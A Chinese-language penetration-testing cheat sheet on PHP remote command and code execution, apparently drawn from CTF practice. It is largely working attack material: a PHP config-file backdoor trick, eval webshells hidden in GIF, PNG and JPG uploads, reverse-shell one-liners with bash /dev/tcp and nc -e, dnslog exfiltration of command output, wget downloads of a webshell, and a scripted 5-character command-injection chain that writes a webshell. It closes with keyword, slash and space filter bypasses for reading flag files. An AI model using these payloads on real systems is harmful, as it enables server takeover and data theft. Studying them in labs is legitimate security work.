跳转至

RCE漏洞

远程系统命令执行

一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。

现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。在这种平台上往往会出现远程系统命令执行的漏洞。

远程代码执行

同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。

不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。 因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。

RCE涉及函数(PHP)

命令注入

code注入

常用绕过

命令执行(RCE)面对各种过滤,骚姿势绕过总结 - 知乎

一些基础知识

Windows命令拼接符

注:&表示不依赖前面的条件,&&和||相当于且和或

配置文件

Nginx

.user.ini

利用条件:要求同目录下有一个php文件,且能访问到

php.ini是php的全局配置文件,对整个web服务起作用,.user.ini和.htaccess都是目录的配置文件,.user.ini是用户自定义的php.ini,通常构造后门和隐藏后门。

自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。

官方解释:

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。 这些模式决定着一个 PHP 的指令在何时何地,是否能够被设定。手册中的每个指令都有其所属的模式。例如有些指令可以在 PHP 脚本中用 ini_set() 来设定,而有些则只能在 php.ini 或 httpd.conf 中。

图片.png

  • auto_prepend_file 表示加载第一个PHP代码之前执行指示(包含的)PHP文件
  • auto_append_file 表示加载第一个PHP代码之后执行指示(包含的)PHP文件

简单来说

PHP
auto_prepend_file = <filename>         //包含在文件头
auto_append_file = <filename>          //包含在文件尾

看下配置文件

图片.png 所以看出来,在.user.ini的配置文件中一些选项是可以有用户自己修改的,也就是可以自定义的,在官方文档中也解释了,每种模式可修改的途径。

图片.png

但配置文件也不是随意修改的

可识别的配置文件范围:

  1. https://www.php.net/manual/zh/ini.list.php
  2. https://www.php.net/manual/zh/configuration.changes.modes.php

Apache

.htaccess

.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。

.htaccess文件(或者"分布式配置文件")提供了针对每个目录改变配置的方法,即在一个特定的目录中放置一个包含指令的文件,其中的指令作用于此目录及其所有子目录。

在绕过文件上传的限制中,在Apache全局配置文件中httpd.conf有这样一条配置

Text Only
AddType application/x-httpd-php .php .phtml .php5 .pht .phps

图片.png 这里配置的意思就是将以.php .phtml .php5 .pht .phps为后缀的文件按php文件进行解析。

.htaccess文件可以配置将特定的文件按规定的文件类型进行解析,可以用以下两种方式来配置:

Text Only
<FilesMatch "test">
  SetHandler application/x-httpd-php
</FilesMatch>

这一种采用正则匹配,只要文件名为test的文件都将被作为php文件解析

Text Only
AddType application/x-httpd-php .jpg

第二种是将.jpg文件都作为php文件解析

文件幻术头

这种方法利用的是每一个特定类型的文件都会有不太一样的开头或者标志位。可以通过比如php的exif_imagetype()/getimagesize()函数,一个通过这种方法来过滤的示例代码如下:

PHP
if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
    echo "File is not an image";
    return;
}

图片文件通常有称作幻数的头字节,我们来看一下几种图片文件的幻数:(注意!下面是二进制而不是文本格式的数据)

Text Only
JPG     FF D8 FF E0 00 10 4A 46 49 46
GIF     47 49 46 38 39 61     // 相当于文本的GIF89a
PNG     89 50 4E 47

通过检查头几位字节,可以分辨是否是图片文件!

给上传脚本加上相应的幻数头字节就可以,php引擎会将GIF89a的内容当作html文本,不解释而跳过,后面的代码仍然能够得到执行比如下面:(一般不限制图片文件格式的时候使用GIF的头比较方便,因为全都是文本可打印字符。)

PHP
GIF89a

<?php
phpinfo();
?>

当上传php文件时,可以使用**winhex**、**010editor**等十六进制处理工具,在数据最前面添加图片的文件头,从而绕过检测

文件内容替换和图片二次渲染

文件内容替换

这种主要是将文件中的敏感字符替换掉,大致代码类似于下面这样:

PHP
<?php
$path = "./uploads";
$content = file_get_contents($_FILES['myfile']['tmp_name']);
$content = str_replace('?', '!', $content);
$file = $path . '/' . $_FILES['myfile']['name'];

if (move_uploaded_file($_FILES['myfile']['tmp_name'], $file)) {
        file_put_contents($file, $content);
        echo 'Success!<br>';
} else {
        echo 'Error!<br>';
}
?>

此时如果我们要上传php的一句话<?php @eval($_POST['shell']);?>时,php的语言标记中的?会被替换为!,这样一句话就不能被执行了

绕过方法:

主要还是要根据实际过滤的字符来判断,如果写死的话可能是没办法的(一般不会,因为还要兼顾图片上传)

比如过滤掉问号,我们就可以使用<script language='php'>system('ls');</script>这样的一句话。具体方法要看实际代码过滤了哪些字符。

图片二次渲染

我们以upload-labs Pass-16的源码为例:

PHP
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
...

大致意思是后端调用了php的GD库,提取了文件中的图片数据,然后再重新渲染,这样图片中插入的恶意代码就会被过滤掉了

我自己在测试时发现不管是直接修改文件头来制作的图片马,还是利用copy命令制作的图片马,都无法避免其中的一句话被过滤掉。

在实践中主要根据不断的上传和下载(如果能够下载的话)来分析到底渲染哪些部分,进而针对性的绕过

  1. 可以先尝试简单的文件尾附加
  2. 进而可以尝试在IDAT等部分插入
PHP
# php在IDAT插入一句话的脚本

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>
PHP
# jpg二次渲染的脚本

<?php
/*

   The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations
   caused by PHP functions imagecopyresized() and imagecopyresampled().
   It is necessary that the size and quality of the initial image are the same as those of the processed
   image.

   1) Upload an arbitrary image via secured files upload script
   2) Save the processed image and launch:
   php jpg_payload.php <jpg_name.jpg>

   In case of successful injection you will get a specially crafted image, which should be uploaded again.

   Since the most straightforward injection method is used, the following problems can occur:
   1) After the second processing the injected data may become partially corrupted.
   2) The jpg_payload.php script outputs "Something's wrong".
   If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another 
   initial image.

   Sergey Bobrov @Black2Fan.

   See also:
   https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

   */

// 此处修改为你的payload
$miniPayload = '<?=eval(\$_POST[1]);?>';

if (!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
    die('php-gd is not installed');
}

if (!isset($argv[1])) {
    die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for ($pad = 0; $pad < 1024; $pad++) {
    $nullbytePayloadSize = $pad;
    $dis = new DataInputStream($argv[1]);
    $outStream = file_get_contents($argv[1]);
    $extraBytes = 0;
    $correctImage = TRUE;

    if ($dis->readShort() != 0xFFD8) {
        die('Incorrect SOI marker');
    }

    while ((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
        $marker = $dis->readByte();
        $size = $dis->readShort() - 2;
        $dis->skip($size);
        if ($marker === 0xDA) {
            $startPos = $dis->seek();
            $outStreamTmp =
                substr($outStream, 0, $startPos) .
                $miniPayload .
                str_repeat("\0", $nullbytePayloadSize) .
                substr($outStream, $startPos);
            checkImage('_' . $argv[1], $outStreamTmp, TRUE);
            if ($extraBytes !== 0) {
                while ((!$dis->eof())) {
                    if ($dis->readByte() === 0xFF) {
                        if ($dis->readByte !== 0x00) {
                            break;
                        }
                    }
                }
                $stopPos = $dis->seek() - 2;
                $imageStreamSize = $stopPos - $startPos;
                $outStream =
                    substr($outStream, 0, $startPos) .
                    $miniPayload .
                    substr(
                        str_repeat("\0", $nullbytePayloadSize) .
                        substr($outStream, $startPos, $imageStreamSize),
                        0,
                        $nullbytePayloadSize + $imageStreamSize - $extraBytes
                    ) .
                    substr($outStream, $stopPos);
            } elseif ($correctImage) {
                $outStream = $outStreamTmp;
            } else {
                break;
            }
            if (checkImage('payload_' . $argv[1], $outStream)) {
                die('Success!');
            } else {
                break;
            }
        }
    }
}
unlink('payload_' . $argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE)
{
    global $correctImage;
    file_put_contents($filename, $data);
    $correctImage = TRUE;
    imagecreatefromjpeg($filename);
    if ($unlink)
        unlink($filename);
    return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline)
{
    global $extraBytes, $correctImage;
    $correctImage = FALSE;
    if (preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
        if (isset($m[1])) {
            $extraBytes = (int) $m[1];
        }
    }
}

class DataInputStream
{
    private $binData;
    private $order;
    private $size;

    public function __construct($filename, $order = false, $fromString = false)
    {
        $this->binData = '';
        $this->order = $order;
        if (!$fromString) {
            if (!file_exists($filename) || !is_file($filename))
                die('File not exists [' . $filename . ']');
            $this->binData = file_get_contents($filename);
        } else {
            $this->binData = $filename;
        }
        $this->size = strlen($this->binData);
    }

    public function seek()
    {
        return ($this->size - strlen($this->binData));
    }

    public function skip($skip)
    {
        $this->binData = substr($this->binData, $skip);
    }

    public function readByte()
    {
        if ($this->eof()) {
            die('End Of File');
        }
        $byte = substr($this->binData, 0, 1);
        $this->binData = substr($this->binData, 1);
        return ord($byte);
    }

    public function readShort()
    {
        if (strlen($this->binData) < 2) {
            die('End Of File');
        }
        $short = substr($this->binData, 0, 2);
        $this->binData = substr($this->binData, 2);
        if ($this->order) {
            $short = (ord($short[1]) << 8) + ord($short[0]);
        } else {
            $short = (ord($short[0]) << 8) + ord($short[1]);
        }
        return $short;
    }

    public function eof()
    {
        return !$this->binData || (strlen($this->binData) === 0);
    }
}
?>

无回显RCE

测试脚本

PHP
<?php
highlight_file(__FILE__);
$a=$_GET['a'];
exec("$a");
//$b=exec("$a");
//echo $b;
?>

反弹shell

遇到这种无回显的命令执行,很常见的一个思路是反弹shell,因为它虽然不会将命令执行的结果输出在屏幕上,但实际上这个命令它是执行了的,那我们就将shell反弹到自己服务器上,然后再执行命令肯定就可以看到回显了

一般来讲我们反弹shell都用的bash -i >& /dev/tcp/ip/port 0>&1这条命令,但这里我不知道哪里出了问题,在docker中可以成功反弹但放到php命令执行中就反弹不了了,所以说无奈之下我就只能使用nc进行反弹,但其实这是很不实用的,因为很多docker中都没有安装nc,这里就先演示一下用nc反弹,利用nc -e /bin/sh ip port进行反弹:

img

img

dnslog外带数据法

域名解析也叫域名指向、服务器设置、域名配置以及反向IP登记等等。说得简单点就是将好记的域名解析成IP,服务由DNS服务器完成,是把域名解析到一个IP地址,然后在此IP地址的主机上将一个子目录与域名绑定。

而如果我们发起请求的目标不是IP地址而是域名的话,就一定会发生一次域名解析,那么假如我们有一个可控的二级域名,那么当它向下一层域名发起解析的时候,我们就能拿到它的域名解析请求。这就相当于配合dns请求完成对命令执行的判断,这就称之为dnslog。当然,发起一个dns请求需要通过linux中的ping命令或者curl命令

然后这里推荐一个dnslog的利用平台:ceye http://ceye.io/,注册账号之后,会给一个域名,当发起的请求中含有这个域名时,平台就会有记录。

img

还是这一段代码,我们用分号;作为命令的分隔符,然后发起curl请求,然后最后用反引号执行命令,具体如下:

img

然后就可以到ceye平台上取看到我们发起的请求了,可以看到whoami的结果也已经在上面显示了出来:

img

然后我们就尝试执行其它的命令比如像ls之类的,但这里需要注意的一点是,如果我们直接执行ls的话,它只会返回第一条结果,具体如下图所示:

img

img

那么为了让它显示出剩余的结果,我们就需要用到linux的sed命令,用sed命令就可以实现对行的完美划分,这里利用题目不是很好演示,我就直接用kali进行演示,就像下图一样直接用就行,还是很方便的:

img

这样就可以完成任意的命令执行了,但是值得注意的是,因为有的字符可能会无法显示或者只显示部分信息,所以说执行命令的时候推荐使用base64编码,然后再解开就好:

img

img

重定向

将输出保存到文件中而不是显示出来。

  1. ">" 会将输出的写入到一个文件中,并替换掉这个文件中原有的内容。

  2. ">>" 写入到一个文件,并不会替换掉原有内容。

基本格式

Bash
command > file.txt

如果你写的文件不存在,它会自动生成一个文件。

Bash
command > file.txt 2>&1

将输出和错误信息也保存在同一个文件中。

tee命令

上面的题目就是用这个命令解决无回显。

标准输入读取再写入标准输出和文件中(tee命令详情百度)

命令格式

Bash
command | tee file.txt

同样的,文件不存在自动创建。

Bash
command | tee -a file.txt

# -a参数,增加附加功能

延时判断

如可以利用延时函数来判断RCE有无执行成功

限制长度rce

linux中命令换行

在Linux中,当我们执行文件中的命令的时候,我们通过在没有写完的命令后面加\,可以将一条命令写在多行

比如一条命令cat flag可以如下表示

img

既然可以这样那我们是不是可以在某些限制长度的情况下执行命令,将命令一条一条输入一个文本中再执行,尝试一下

Bash
root@kali:~# echo "ca\\">cmd
root@kali:~# echo "t\\">>cmd
root@kali:~# echo " fl\\">>cmd
root@kali:~# echo "ag">>cmd
root@kali:~# cat cmd
ca\
t\
 fl\
ag
root@kali:~# sh cmd
this is your flag

用这种方法可以绕过一些长度限制读文件内容

ls -t和>以及换行符绕过(文件构造绕过)

在linux中,我们使用ls -t命令后,可以将文件名按照时间顺序排列出来(后创建的排在前面)

Text Only
root@kali:~/example# touch a
root@kali:~/example# touch b
root@kali:~/example# touch c
root@kali:~/example# ls -t
c  b  a

我们来看看ls -t>ghtwf01有什么效果(开始不存在ghtwf01这个文件)

Text Only
root@kali:~/example# ls -t > ghtwf01
root@kali:~/example# cat ghtwf01 
ghtwf01
c
b
a

这条命令先执行了创建ghtwf01文件然后将ls -t的执行结果写入ghtwf01文件

我们试试用这些方法来执行命令cat flag

Bash
root@kali:~/example# > "ag"
root@kali:~/example# > "fl\\"
root@kali:~/example# > "t \\"
root@kali:~/example# > "ca\\"
root@kali:~/example# ls -t
'ca\'  't \'  'fl\'   ag   flag
root@kali:~/example# ls -t > a
root@kali:~/example# sh a
a: 1: a: not found
this is your flag
a: 6: flag: not found

读取到了flag内容为this is your flag,无论这个文件里面有没有其它内容都能执行

总而言之文件构造绕过就是如下知识:

Text Only
linux下可以用 1>a创建文件名为a的空文件
ls -t>test则会将目录按时间排序后写进test文件中
sh命令可以从一个文件中读取命令来执行

反弹shell命令比较长就可以用这种方式去绕过长度限制

如果服务器能连外网还可以使用命令wget 网址 -O shell.php去执行我们自己vps上面的木马文件

*绕过

在linux中,星号*可以作为通配符使用,输入*后,linux会将该目录下第一个列出的文件名作为命令,剩下的的文件名当作参数

img

像上面这个例子,执行*就相当于执行ls t,将ls作为命令,t作为参数;

有的时候当一个目录下有很多个文件的时候,可以在*后面加上字母作为限制,就可以限定为必须要**带有该字母的文件**才能被当作**命令**和**参数**,它依旧是按照字母顺序,第一个为命令,后面的为参数,比如说下面这个例子,虽然说里面有很多文件,但我们用了*s,相当于就是带有s的第一个文件被作为了命令,后面带有s的文件作为了参数,所以说我们执行*s,相当于执行ls s

img

rev绕过

linux中还有一个倒置命令rev,它可以将文件中的内容倒置,比如说下面这个例子,a文件中的内容本来是1234,然后我们用了rev倒置命令,就输出了4321,我们还可以将这个输出结果写入文件b中

img

当然,我们也可以按照前面的方法,将rev当作文件名,然后利用*v来执行它,只不过文件名也要为v

img

dir绕过

linux中还有一个命令dir,这个命令和ls基本上是一样的,只不过用ls写入文件中时,每个文件名都是单独一行,它会自动换行,这会影响我们后面命令的执行,但dir就会全部写入一行中,并且会自动加空格,所以说我们就用dir代替ls

img

实例

PHP
<?php

if(md5(md5($_GET["pass"]))=="42dc38109914179199efc5c18d47ee68")
{
    show_source("shell.php");
    echo "<br><br>年轻人,这个后门你把握不住,收手吧<br><br>";
    echo "<br>".$_SERVER['HTTP_USER_AGENT'];

    $you_file = '/var/www/html/wllm/'.md5("wllm" . $_SERVER['HTTP_USER_AGENT']);

    mkdir($you_file);
    chdir($you_file);

    if (isset($_GET['big_hacker_LTLT']) && strlen($_GET['big_hacker_LTLT']) <= 5) 
    {
        echo exec($_GET['big_hacker_LTLT']);

    } else if (isset($_GET['reset'])) 

    {
        @exec('/bin/rm -rf ' . $you_file);
    }

} 
?>

思路分析

从代码中可知,这里有exec函数,是可以执行命令的,但由于有长度限制,所以说我们不能执行完整命令,只能试图利用linux下命令可以拆分的特点,将写入一句话木马的命令,拆分开来,作为文件名的形式先写进去,然后再写一个文件v,里面的内容是ls -th >f,然

后通过执行这个文件v,让前面的文件名按照时间顺序拼接起来,并写入到文件f中,那文件f中就是我们想要的写入一句话木马的命令了,最后执行这个文件f,就将木马成功写入进去了

具体过程

1.我们首先来写**写入一句话木马的命令**,这里要注意的是,由于里面有< ?这些字符,所以说我们先将其base64编码后再写入,具体:

Text Only
一句话:<?php eval($_POST[1]);
base编码后:PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==
写入的命令:echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==|base64 -d>1.php
这里的空格要用${IFS}来代替,避免一句话中存在两个空格

img

验证一下,发现没有问题

2、然后我们就要来拼接出命令ls -th >f了,我认为这儿是最复杂的,这里先解释一下为啥要拼接出这条命令,因为它ls默认排列文件的顺序是按照字母顺序的,如果把这个顺序写入文件中那肯定是杂乱无章的,也肯定不是我们想要的,所以说我们得想办法控制它的顺序,而唯一能控制的就是输入命令的时间先后顺序了,我们把想要放在后面的先输入,想要放在前面的后输入,然后利用ls -th一排,不就是我们想要的顺序了吗,这里我用kali做个演示,命令就是echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==|base64 -d>1.php

我们看到核心代码中它每次输入的命令不能超过五字符,那我就把这命令划分一下,五个字符一句,所有的符号前面都要加转义符\:

Text Only
>e\\
>ch\\
>o\\
>\$\\
>{\\
>IF\\
>S}\\
>PD\\
>9w\\
>a\\
>HA\\
>gZ\\
>XZ\\
>hb\\
>Cg\\     
>kX\\
>1B\\
>PU\\
>1R\\
>bM\\
>V0\\
>pO\\
>w=\\
>\=\\
>\|\\
>ba\\
>se\\
>64\\
>\ \\
>-d\\
>\>\\
>1.\\
>p\\
>hp

但由于前面讲的,我们得按照时间得先后顺序,给它倒过来:

Text Only
>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>\=\\
>w=\\
>pO\\
>V0\\
>bM\\
>1R\\
>PU\\
>1B\\
>kX\\
>Cg\\ 
>hb\\
>XZ\\
>gZ\\
>HA\\
>a\\
>9w\\
>PD\\
>S}\\
>IF\\
>{\\
>\$\\
>o\\
>ch\\
>e\\

然后我们在kali中做测试,一个一个按顺序把它敲进去,太艰难了

img

可以看到已经成功了,它已经按照时间顺序排序好了,那我们就把它执行的结果写入文件f中,然后利用sh来执行f,看能不能成功生成1.php

img

3、拼接出命令ls -th >f,害本来第二步我就想讲这个的,结果写着写着就写偏了,前面我们的ls -t >f这命令是直接写的,实际上题目中我们是肯定不可能直接写的,同样需要把它写成文件名拼接起来写入文件中,然后执行它,这就需要我们前面铺垫的知识了,这里我先把构造结果写出来,然后再分析

Bash
>dir
>f\>
>ht-
>sl
*>v  (等同于命令:dir "f>" "ht‐" "sl" > v )
>rev 
*v>0 前面的*v等同于命令rev v,相当于将v中的文件内容倒了回来,变回:ls -th >f
然后将倒转后的内容写入文件0中,文件0中的内容为:ls -th >f

首先是用dir代替了ls,原因上面也讲了,然后我们这里用-th代替了-t是因为字母顺序的问题,因为我们这里是选择先倒着写然后再用rev命令把它正过来,字母h顺序正好在字母s和f之间,所以说就可以,如果只有t的话它就会排在s的后面,顺序就乱了

4、前两步构造出来之后其实我们的核心步骤就已经完成了,第二步我们构造出来要执行的命令,第三步将要执行的命令写入到一个文件中,然后就是执行命令的过程了,先执行ls -th >f也就是sh 0,再执行文件f也就是sh f即可成功写入一句话,综合一下payload就是:

Bash
# 写入base64 payload
>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>\=\\
>w=\\
>pO\\
>V0\\
>bM\\
>1R\\
>PU\\
>1B\\
>kX\\
>Cg\\ 
>hb\\
>XZ\\
>gZ\\
>HA\\
>a\\
>9w\\
>PD\\
>S}\\
>IF\\
>{\\
>\$\\
>o\\
>ch\\
>e\\

# 写入ls -th >f
>dir
>f\>
>ht-
>sl
*>v
>rev
*v>0

# 执行
sh 0
sh f

5、Python脚本

生成payload的脚本

Python
import base64


class LimitLengthPayloadAndCommand:
    def __init__(self):
        self.commands = [
            # wirte 'ls -th >f' command
            '>dir',
            r'>f\>',
            '>ht-',
            '>sl',
            '*>v',
            '>rev',
            '*v>0',
            'sh 0',
            'sh f'
        ]

    def escape_fix_special_chars(self, fix: str) -> str:
        """
        Escape the special characters in the fix string
        param fix: str
        return: str, escaped fix string
        """
        special_chars = ['$', ' ', '>', '|']
        for char in special_chars:
            fix = fix.replace(char, '\\' + char)
        return fix

    def escape_payload_special_chars(self, payload: str) -> str:
        """
        Escape the special characters in the payload
        param payload: str
        return: str, escaped payload
        """
        special_chars = ['>=', '>>']
        for char in special_chars:
            payload = payload.replace(char, char[0] + '\\' + char[1])
        return payload

    def payload_encode(self, payload: str) -> str:
        """
        Encode the payload to base64
        param payload: str
        return: str, encoded payload, base64
        """
        prefix = self.escape_fix_special_chars('echo${IFS}')
        suffix = self.escape_fix_special_chars('|base64 -d>1.php')
        payload_bytes = payload.encode('utf-8')
        base64_bytes = base64.b64encode(payload_bytes)
        # return prefix + base64(payload) + suffix
        return prefix + base64_bytes.decode('utf-8') + suffix

    def split_payload(self, payload: str, length: int) -> list:
        """
        Split the payload into chunks of length
        param payload: str
        param length: int
        return: list, list of chunks
        """
        en_payload = self.payload_encode(payload)
        prefix = '>'
        suffix = '\\\\'
        fix_length = len(prefix) + len(suffix)
        step = length - fix_length
        return [(prefix + en_payload[i:i + step] + suffix) for
                i in range(0, len(en_payload), step)][::-1]

    def save_payload_and_command(self, payload: str, length: int):
        payloads = self.split_payload(payload, length)
        # add the commands to the payloads list
        payloads.extend(self.commands)
        # save the payloads and commands to a file
        with open('payloads.txt', 'w') as f:
            for p in payloads:
                f.write(p + '\n')


if __name__ == "__main__":
    # payload = '<?php eval($_POST[1]);?>'
    # length = 5
    payload = input('Enter the payload: ')
    length = int(input('Enter the length: '))
    limit_length_payload = LimitLengthPayloadAndCommand()
    limit_length_payload.save_payload_and_command(payload, length)

Note

需要注意的是,生成的payload部分有问题,需要手动调整一下

前面也看到了,我们要是纯靠手把这些payload全部输进去还是有些麻烦的,所以说我们还是写个python脚本来代替我们发起这些请求:

Python
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
headers = {'User-Agent' : 'ccc'}
url = "http://xx.xxx.xx.xxx:10001/shell.php?pass=LTLT_666&big_hacker_LTLT={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
    for i in f:
        print("[*]" + url.format(i.strip()))
        requests.get(url.format(i.strip()),headers=headers)

RCE绕过总结

环境变量绕过

Bash
echo ${PATH}

Text Only
echo ${PATH:m:n}

可以看到m控制的是位置索引(从0开始),n控制要取的位数

基于这种特性我们就可以绕过

Bash
#!/bin/bash

# 要查找的字母列表
letters=("l" "s")

# 获取PATH变量
path_var=$PATH

# 遍历每个字母
for letter in "${letters[@]}"; do
  echo "查找字母 '$letter' 的索引:"
  # 遍历PATH变量中的每个字符
  for (( i=0; i<${#path_var}; i++ )); do
    if [ "${path_var:$i:1}" == "$letter" ]; then
      echo "字母 '$letter' 在 PATH 中的索引是: $i"
      break
    fi
  done
done

上述脚本作用为找ls在PATH中的索引

我们可以使用

Text Only
${PATH:x:1}${PATH:x:1}......

来组合成一个完整的命令

事实上,该方法受环境影响比较大,以最简单的PATH为例

Text Only
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

我们可以找到s, u, r, l, o, c, a, b, i, n这几个字母,所以还是能组合出ls、curl等命令,但该方法还是实用性不强

命令执行技巧大全-CSDN博客

读取文件的方法

文件名被过滤怎么绕过

*通配文件

linux里可以用f*指代任何以f开头的文件,就像正则匹配,所以我们可以用cat /f*获得flag

img

?匹配文件名

这个自然是最常见的了,比如我们知道flag的名字就是flag,但是可能flag这个字符串被过滤了,我们就可以用?匹配被ban的字符,用cat /f???获得flag

Bash
cat /f???

当然,前面不加这个f可以吗,也是可以的,就是容易被干扰

Bash
cat /????

正则匹配

linux里可以用[9-q]这种形式匹配ascii码在9到q之间的字符,自然cat /[9-q][9-q][9-q][9-q]就等效于cat /flag了

Bash
cat /fl9-q9-q

分割文件名

linux里,ca”t、ca\t、ca””t和cat是等效的,所以我们可以用这种方式绕过关键词过滤:

img

除此之外,还可以使用**$@**绕过关键词过滤

还有一种好用的方法,就是用中间变量进行替换:

Bash
a=f&&b=lag&&c=ca&&d=t&&$IFS$9$c$d$IFS$9/$a$b

# $IFS$9 等价于 ${IFS}

原句其实也就是

Bash
a=f&&b=lag&&c=ca&&d=t&&$c$d /$a$b

inode号

linux里可以通过inode号索引某个文件,举个例子:

这里我们先通过ls -i /获取到根目录下所有文件的inode号

得到flag的inode号为787511,我们就可以通过find / -inum 787511获取该文件的路径

因此,我们可以这样获取flag:

Text Only
cat `find / -inum 787511`

转进制

我们可以把flag转成八进制,变成$’\146\154\141\147’,然后用cat /$’\146\154\141\147’即可

img

我们在网页传的时候建议编码一下,因为$在php中有特殊含义,可能会产生干扰

当然,如果$没被ban的话也没限制命令长度的话,直接无字母数字构造命令都行,具体可以看看利用shell脚本变量构造无字母数字命令以及CTFshow-周末大挑战官方wp

利用管道符

Bash
echo "Y2F0IC9mKg==" | base64 -d|bash
# Y2F0IC9mKg== --> base64(cat /f*)

img

如果对应环境有其他编码也可以换其他冷门点的编码

/被过滤怎么绕过

linux里echo ${PATH}可以获得当前路径:

所以很显然,我只要取第一个字符那就是/了:

img

随着这个逻辑可以代替${PATH:0:1}的使用方法也挺多的,比如${PATH:4:1}也代表/,当我们查看linux的环境变量,其实可以发现很多替代方法

空格被过滤怎么绕过

Bash
<
$IFS
${IFS}
$IFS$9
{cat,/flag}
在Linux中,命令 {cat,/flag} 是按照特定的方式组合命令进行执行的。这个命令将会执行两个部分:cat 和 /flag。

这里只讲了一些最常见的bypass技巧,不是很深入,本文主要是讲一些读取文件的方法的。

各种读取文件的方法

  • cat

首先是最常见的,那就是cat了,用于连接文件并打印到标准输出设备上,用法为:

Bash
cat /f*

不需要完整文件名

  • tac

用于将文件以行为单位的反序输出,用法为:

Bash
tac /f*

不需要完整文件名

  • more/bzmore

类似cat命令,会以一页一页的显示,方便使用者逐页阅读,用法为:

Bash
more /f* 
bzmore /f*

不需要完整文件名

  • less/bzless

作用与more类似,都用来浏览文本文件中的内容,不同之处在于,使用 more 命令浏览文件内容时,只能不断向后翻看,而使用 less 命令浏览,既可以向后翻看,也可以向前看。用法为:

Bash
less /f*
bzless /f*

不需要完整文件名

  • head

head 命令可用于查看文件的开头部分的内容,有一个常用的参数 -n 用于显示行数,默认为 10,即显示 10 行的内容。用法为:

Bash
head /f*

不需要完整文件名

  • tail

